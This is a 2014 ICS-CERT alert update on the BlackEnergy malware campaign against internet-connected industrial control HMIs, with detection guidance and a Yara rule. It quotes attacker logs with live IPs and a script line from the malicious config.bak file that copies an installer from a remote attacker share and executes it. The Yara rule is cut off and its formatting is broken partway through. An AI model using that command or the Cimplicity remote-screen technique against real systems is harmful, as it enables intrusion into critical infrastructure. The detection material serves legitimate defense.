Alert (ICS-ALERT-14-281-01A)

Ongoing Sophisticated Malware Campaign Compromising ICS (Update A)

Original release date: October 29, 2014 | Last revised: November 03, 2014

SUMMARY

This alert update is a follow-up to the original NCCIC/ICS-CERT Alert titled ICS-ALERT-14-281-01 Ongoing Sophisticated Malware Campaign Compromising ICS that was published October 28, 2014, on the ICS-CERT web site.

ICS-CERT has identified a sophisticated malware campaign that has compromised numerous industrial control systems (ICSs) environments using a variant of the BlackEnergy malware. Analysis indicates that this campaign has been ongoing since at least 2011. Multiple companies working with ICS-CERT have identified the malware on Internet-connected human-machine interfaces (HMIs).

ICS-CERT originally published information and technical indicators about this campaign in a TLP Amber alert (ICS-ALERT-14-281-01P) that was released to the US-CERT secure portal[a] on October 8, 2014, and updated on October 17, 2014. US critical infrastructure asset owners and operators can request access to this information by emailing ics-cert@hq.dhs.gov.

DETAILS

ICS-CERT has determined that users of HMI products from various vendors have been targeted in this campaign, including GE Cimplicity, Advantech/Broadwin WebAccess, and Siemens WinCC. It is currently unknown whether other vendor's products have also been targeted. ICS-CERT is working with the involved vendors to evaluate this activity and also notify their users of the linkages to this campaign.

At this time, ICS-CERT has not identified any attempts to damage, modify, or otherwise disrupt the victim systems' control processes. ICS-CERT has not been able to verify if the intruders expanded access beyond the compromised HMI into the remainder of the underlying control system. However, typical malware deployments have included modules that search out any network-connected file shares and removable media for additional lateral movement within the affected environment. The malware is highly modular and not all functionality is deployed to all victims.

In addition, public reports[b] [c] reference a BlackEnergy-based campaign against a variety of overseas targets leveraging vulnerability CVE-2014-4114[d] (affecting Microsoft Windows and Windows Server 2008 and 2012). ICS-CERT has not observed the use of this vulnerability to target control system environments. However, analysis of the technical findings in the two report shows linkages in the shared command and control infrastructure between the campaigns, suggesting both are part of a broader campaign by the same threat actor.

ICS-CERT strongly encourages asset owners and operators to look for signs of compromise within their control systems environments. Any positive or suspected findings should be immediately reported to ICS-CERT for further analysis and correlation.

CIMPLICITY

ICS-CERT analysis has identified the probable initial infection vector for systems running GE's Cimplicity HMI with a direct connection to the Internet. Analysis of victim system artifacts has determined that the actors have been exploiting a vulnerability in GE's Cimplicity HMI product since at least January 2012. The vulnerability, CVE-2014-0751, was published in ICS-CERT advisory ICSA-14-023-01 on January 23, 2014. Guidance for remediation was published to the GE IP portal in December 2013.[e] GE has also released a statement about this campaign on the GE security web site.[f]

Using this vulnerability, attackers were able to have the HMI server execute a malicious .cim file [Cimplicity screen file] hosted on an attacker-controlled server.

Using this vulnerability, attackers were able to have the HMI server execute a malicious .cim file [Cimplicity screen file] hosted on an attacker-controlled server.

Figure 1. Log entries showing execution of remote .cim file.

Date	Request Type	Requestor IP	Screen Served
1/17/2012 7:16	Start	<attackerIP>	//212.124.110.146/testshare/payload.cim
9/9/2013 1:49	Start	<attackerIP>	//46.165.250.32/incoming/devlist.cim
9/10/2014 3:59	Start	<attackerIP>	\\94.185.85.122\public\config.bak

ICS-CERT has analyzed two different .cim files used in this campaign: devlist.cim and config.bak. Both files use scripts to ultimately install the BlackEnergy malware.

- devlist.cim: This file uses an embedded script that is executed as soon as the file is opened using the Screen Open event. The obfuscated script downloads the file "newsfeed.xml" from the same remote server, which it saves in the Cimplicity directory using the name <41 character string>.wsf. The name is randomly generated using upper and lower case letters, numbers, and hyphens. The .wsf script is then executed using the Windows command-based script host (cscript.exe). The new script downloads the file "category.xml," which it saves in the Cimplicity directory using the name "CimWrapPNPS.exe." CimWrapPNPS.exe is a BlackEnergy installer that deletes itself once the malware is installed.
- config.bak: This file uses a script that is executed when the file is opened using the OnOpenExecCommand event. The script downloads a BlackEnergy installer from a remote server, names it "CimCMSafegs.exe," copies it into the Cimplicity directory, and then executes it. The CimCMSafegs.exe file is a BlackEnergy installer that deletes itself after the malware is installed.

Figure 2. Script executed by malicious config.bak file.

cmd.exe /c “copy \\94[dot]185[dot]85[dot]122\public\default.txt “%CIMPATH%\CimCMSafegs.exe” && start “WOW64” “%CIMPATH”\CimCMSafegs.exe”

Analysis suggests that the actors likely used automated tools to discover and compromise vulnerable systems. ICS-CERT is concerned that any companies that have been running Cimplicity since 2012 with their HMI directly connected to the Internet could be infected with BlackEnergy malware. ICS-CERT strongly recommends that companies use the indicators and Yara signature in this alert to check their systems. In addition, we recommend that all Cimplicity users review ICS-CERT advisory ICSA-14-023-01 and apply the recommended mitigations.

WINCC

Resident in the same folder hosting the Cimplicity .cim files referenced above was a file with the name “CCProjectMgrStubEx.dll.” While this file is not part of the WinCC product, it uses a name that is similar to legitimate WinCC files. Given the use of filenames matching legitimate Cimplicity files to exploit Cimplicity systems, the presence of this file alongside other BlackEnergy campaign files suggests that WinCC has also been targeted. This has not been independently confirmed by ICS-CERT.

ADVANTECH/BROADWIN WEBACCESS

A number of the victims associated with this campaign were running the Advantech/BroadWin WebAccess software with a direct Internet connection. We have not yet identified the initial infection vector for victims running this platform but believe it is being targeted.

DETECTION

YARA SIGNATURE

ICS-CERT has produced a Yara signature to aid in identifying if the malware files are present on a given system. This signature is provided “as is” and has not been fully tested for all variations or environments. Any positive or suspected findings should be immediately reported to ICS-CERT for further analysis and correlation. The Yara signature is available at:

https://ics-cert.us-cert.gov/sites/default/files/file_attach/ICS-ALERT-14-281-01.yara

YARA is a pattern-matching tool used to by computer security researchers and companies to help identify malware. You can find usage help and download links on the main Yara page at http://plusvic.github.io/yara/. For use on a Windows machine, you can download the precompiled binaries at:

https://b161268c3bf5a87bc67309e7c870820f5f39f672.googledrive.com/host/0BznOMqZ9f3VUek8yN3VvSGdhRFU/

--------- Begin Update A Part 1 of 1 --------

For security purposes, please validate the downloaded Yara binaries by comparing the hash of your downloaded binary with the hashes below:

Yara version 3.1.0 32-bit

yara32.exe:

MD5 - fddd3831d7026c81cbd189ac567421ab

SHA256 - 865992534620d38b988df10a79a39bb12519f44aee8a56233a58cfb54a48c895

yarac32.exe:

MD5 - 87273afb970743c7eee001a3ec6a71cd

SHA256 - 94ece384cded7e35ca8d600deeea7d59776098f4e459ddab5a94b1f470e59174

Yara version 3.1.0 64-bit

yara64.exe:

MD5 - 105c05f8d789e85c36dd845b5fbb323e

SHA256 - 77c657dacac4d737c3791d284ea8c750ff7fffe88d47397e049586a1980710be

yarac64.exe:

MD5 - c9b79b1a4cf4fb9a31391a1c15bed6d6

SHA256 - 7bfcbafc1b814be1ec337fd653289c07391314032568511944 5afa471e65eb94

--------- End Update A Part 1 of 1----------

Once downloaded, extract the zip archive to the computer where you need to run the signatures and copy the ICS-CERT Yara rule into the same folder. For a comprehensive search (which will take a number of hours, depending on the system), use the following command:

yara32.exe -r -s ICS-ALERT-14-281-01AP.yara C: >> yara_results.txt

For a quicker search, use the following:

(for Windows Vista and later)

yara32.exe -r -s ICS-ALERT-14-281-01AP.yara C:\Windows >> yara_results.txt

yara32.exe -r -s ICS-ALERT-14-281-01AP.yara C:\Users >> yara_results.txt

(for Windows XP or earlier)

yara32.exe -r -s ICS-ALERT-14-281-01AP.yara C:\Windows >> yara_results.txt

yara32.exe -r -s ICS-ALERT-14-281-01AP.yara "C:\Documents and Settings" >> yara_results.txt

These commands will create a text file named “Yara_results.txt” in the same folder as the rule and Yara executable. If the search returns hits, you can send this file to ICS-CERT, and we will verify if your system is compromised by BlackEnergy.

```
rule ICS_ALERT_14_281_01AP_Black_Energy

//ICS-CERT BlackEnergy campaign Yara Rule version 3

{

    strings:

        $a1 = "Adobe Flash Player Installer" wide nocase

        $a3 = "regedt32.exe" wide nocase

        $a4 = "WindowsSysUtility" wide nocase

        $a6 = "USB MDM Driver" wide nocase

        $b1 = {00 05 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00
01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15 28 0A 3F 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5C 04 00 00 01 00
53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 1C 02 00 00 01 00 30 00 30 00 31 00 35 00 30 00 34 00 62 00 30 00
00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00
20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 46 00 0F 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00
70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 55 00 53 00 42 00 20 00 4D 00 44 00 4D 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00 00 00 3C 00 0E 00 01 00
46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00
00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00
68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 31 00 33 00 00 00 00 00 3E 00 0B 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00
6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 75 00 73 00 62 00 6D 00 64 00 6D 00 2E 00 73 00 79 00 73 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00
75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00
20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00
75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 1C 02
00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 62 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00
00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 46 00 0F 00 01 00
46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 55 00 53 00 42 00 20 00 4D 00 44 00 4D 00 20 00 44 00
72 00 69 00 76 00 65 00 72 00 00 00 00 00 3C 00 0E 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00
2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00
68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 31 00 33 00 00 00 00 00 3E 00 0B 00 01 00 4F
00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 75 00 73 00 62 00 6D 00 64 00 6D 00 2E 00 73 00 79 00 73
00 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66
00 74 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D
00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36
00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 48 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 28 00 08
00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 15 00 B0 04 09 04 B0 04}

        $b2 = {34 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00
01 00 03 00 03 00 04 00 02 00 03 00 03 00 04 00 02 00 3F 00 00 00 00 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 02 00 00 00 00 53
00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 70 02 00 00 00 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00
00 4A 00 15 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 53 00 6F 00 6C 00 69 00 64 00 20 00 53 00 74 00 61 00 74
00 65 00 20 00 4E 00 65 00 74 00 77 00 6F 00 72 00 6B 00 73 00 00 00 00 00 62 00 1D 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70
00 74 00 69 00 6F 00 6E 00 00 00 00 00 41 00 64 00 6F 00 62 00 65 00 20 00 46 00 6C 00 61 00 73 00 68 00 20 00 50 00 6C 00 61 00 79 00 65 00 72 00 20 00 49
00 6E 00 73 00 74 00 61 00 6C 00 6C 00 65 00 72 00 00 00 00 00 30 00 08 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00
00 33 00 2E 00 33 00 2E 00 32 00 2E 00 34 00 00 00 32 00 09 00 01 00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 68 00 6F
00 73 00 74 00 2E 00 65 00 78 00 65 00 00 00 00 00 76 00 29 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00
00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 41 00 64 00 6F 00 62 00 65 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00
73 00 20 00 49 00 6E 00 63 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 65 00 64 00 00 00 00 00 3A 00 09 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00
6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 68 00 6F 00 73 00 74 00 2E 00 65 00 78 00 65 00 00 00 00 00 5A 00 1D 00 01 00 50 00 72 00 6F 00
64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 41 00 64 00 6F 00 62 00 65 00 20 00 46 00 6C 00 61 00 73 00 68 00 20 00 50 00 6C 00 61 00 79 00
65 00 72 00 20 00 49 00 6E 00 73 00 74 00 61 00 6C 00 6C 00 65 00 72 00 00 00 00 00 34 00 08 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00
72 00 73 00 69 00 6F 00 6E 00 00 00 33 00 2E 00 33 00 2E 00 32 00 2E 00 34 00 00 00 44 00 00 00 00 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00
66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04 46 45 32 58}

        $b3 = {C8 02 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00
01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15 28 0A 17 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 02 00 00 01 00 53
00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 04 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00
00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20
00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 48 00 10 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70
00 74 00 69 00 6F 00 6E 00 00 00 00 00 49 00 44 00 45 00 20 00 50 00 6F 00 72 00 74 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00 62 00 21 00 01 00 46 00
69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 20 00
```

28 00 78 00 70 00 73 00 70 00 2E 00 30 00 38 00 30 00 34 00 31 00 33 00 2D 00 30 00 38 00 35 00 32 00 29 00 00 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 39 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04}

$b4 = {9C 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 06 00 01 40 B0 1D 01 00 06 00 01 40 B0 1D 3F 00 00 00 00 00 00 00 04 00 04 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FA 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 D6 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 58 00 18 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6F 00 72 00 20 00 55 00 74 00 69 00 6C 00 69 00 74 00 79 00 00 00 6C 00 26 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 36 00 2E 00 31 00 2E 00 37 00 36 00 30 00 30 00 2E 00 31 00 36 00 33 00 38 00 35 00 20 00 28 00 77 00 69 00 6E 00 37 00 5F 00 72 00 74 00 6D 00 2E 00 30 00 39 00 30 00 37 00 31 00 33 00 2D 00 31 00 32 00 35 00 35 00 29 00 00 00 3A 00 0D 00 01 00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 72 00 65 00 67 00 65 00 64 00 74 00 33 00 32 00 2E 00 65 00 78 00 65 00 00 00 00 00 80 00 2E 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9 00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20 00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68 00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72 00 76 00 65 00 64 00 2E 00 00 00 42 00 0D 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 6D 00 73 00 69 00 65 00 78 00 65 00 00 00 00 00 6A 00 25 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 AE 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 AE 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 42 00 0F 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 36 00 2E 00 31 00 2E 00 37 00 36 00 30 00 30 00 2E 00 31 00 36 00 33 00 38 00 35 00 00 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 B0 04}

$b5 = {78 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 00 00 05 00 6A 44 B1 1D 00 00 05 00 6A 44 B1 1D 3F 00 00 00 00 00 00 00 04 00 04 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D6 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 B2 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 4E 00 13 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 AE 00 53 00 79 00 73 00 55 00 74 00 69 00 6C 00 69 00 74 00 79 00 00 00 00 00 72 00 29 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 30 00 2E 00 37 00 36 00 30 00 31 00 2E 00 31 00 37 00 35 00 31 00 34 00 20 00 28 00 77 00 69 00 6E 00 37 00 73 00 70 00 31 00 5F 00 72 00 74 00 6D 00 2E 00 31 00 30 00 31 00 31 00 31 00 39 00 2D 00 31 00 38 00 35 00 30 00 29 00 00 00 00 00 30 00 08 00 01 00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 6D 00 73 00 69 00 65 00 78 00 65 00 00 00 80 00 2E 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9 00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20 00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68 00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72 00 76 00 65 00 64 00 2E 00 00 00 40 00 0C 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 6D 00 73 00 69 00 65 00 78 00 65 00 63 00 2E 00 65 00 78 00 65 00 00 00 58 00 1C 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 53 00 79 00 73 00 55 00 74 00 69 00 6C 00 69 00 74 00 79 00 20 00 2D 00 20 00 55 00 6E 00 69 00 63 00 6F 00 64 00 65 00 00 00 42 00 0F 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 30 00 2E 00 37 00 36 00 30 00 31 00 2E 00 31 00 37 00 35 00 31 00 34 00 00 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 B0 04}

$b6 = {D4 02 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15 28 0A 17 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 10 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 4E 00 13 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 53 00 65 00 72 00 69 00 61 00 6C 00 20 00 50 00 6F 00 72 00 74 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00 00 00 62 00 21 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 20 00 28 00 78 00 70 00 73 00 70 00 2E 00 30 00 38 00 30 00 34 00 31 00 33 00 2D 00 30 00 38 00 35 00 32 00 29 00 00 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 30 00 34 00 00 00 00 00 6A 00 25 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 AE 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 AE 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 